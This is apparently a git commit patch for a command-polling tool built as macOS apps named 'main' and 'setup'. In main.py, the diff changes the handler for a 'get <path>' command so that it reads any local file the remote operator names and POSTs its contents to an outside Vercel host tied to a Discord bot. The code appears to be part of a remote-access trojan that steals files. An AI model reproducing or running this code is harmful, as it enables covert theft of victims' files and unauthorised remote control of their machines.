From 1d2df4bc911c4d80a2b561dd96c73c692438584d Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Sat, 2 Sep 2023 15:47:55 +0800 Subject: cao --- dist/main-mac | Bin 7459424 -> 11070048 bytes dist/main.app.zip | Bin 7384677 -> 10954728 bytes dist/main.app/Contents/MacOS/main | Bin 7459424 -> 11070048 bytes dist/setup-mac | Bin 7448384 -> 11059232 bytes dist/setup.app.zip | Bin 7373229 -> 10943596 bytes dist/setup.app/Contents/MacOS/setup | Bin 7448384 -> 11059232 bytes main.py | 6 +++--- output.txt | 1 + 8 files changed, 4 insertions(+), 3 deletions(-) create mode 100644 output.txt diff --git a/dist/main-mac b/dist/main-mac index 83ae7ed..fe921b0 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index 5cc0dbf..907c750 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index d665508..daf8dc6 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup-mac b/dist/setup-mac index 3d805ed..90ceace 100755 Binary files a/dist/setup-mac and b/dist/setup-mac differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index ea6159d..a39b178 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index be03c0f..96b77bb 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index ab04719..047cfca 100644 --- a/main.py +++ b/main.py @@ -70,11 +70,11 @@ while True: old_command = "" continue if command.startswith("get "): - print(command) localcmd = command.split() path = localcmd[1] - file = [str(path), open(str("../"+path), 'rb').read()] - file = str(file) + open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) + file = [str(path), open("output.txt", 'rb').read()] + file = "FILE " + str(file) try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) except: diff --git a/output.txt b/output.txt new file mode 100644 index 0000000..2e2e69c --- /dev/null +++ b/output.txt @@ -0,0 +1 @@ +testing===IF YOU SEE THIS MESSAGE ITS WORKING! \ No newline at end of file -- cgit v1.2.3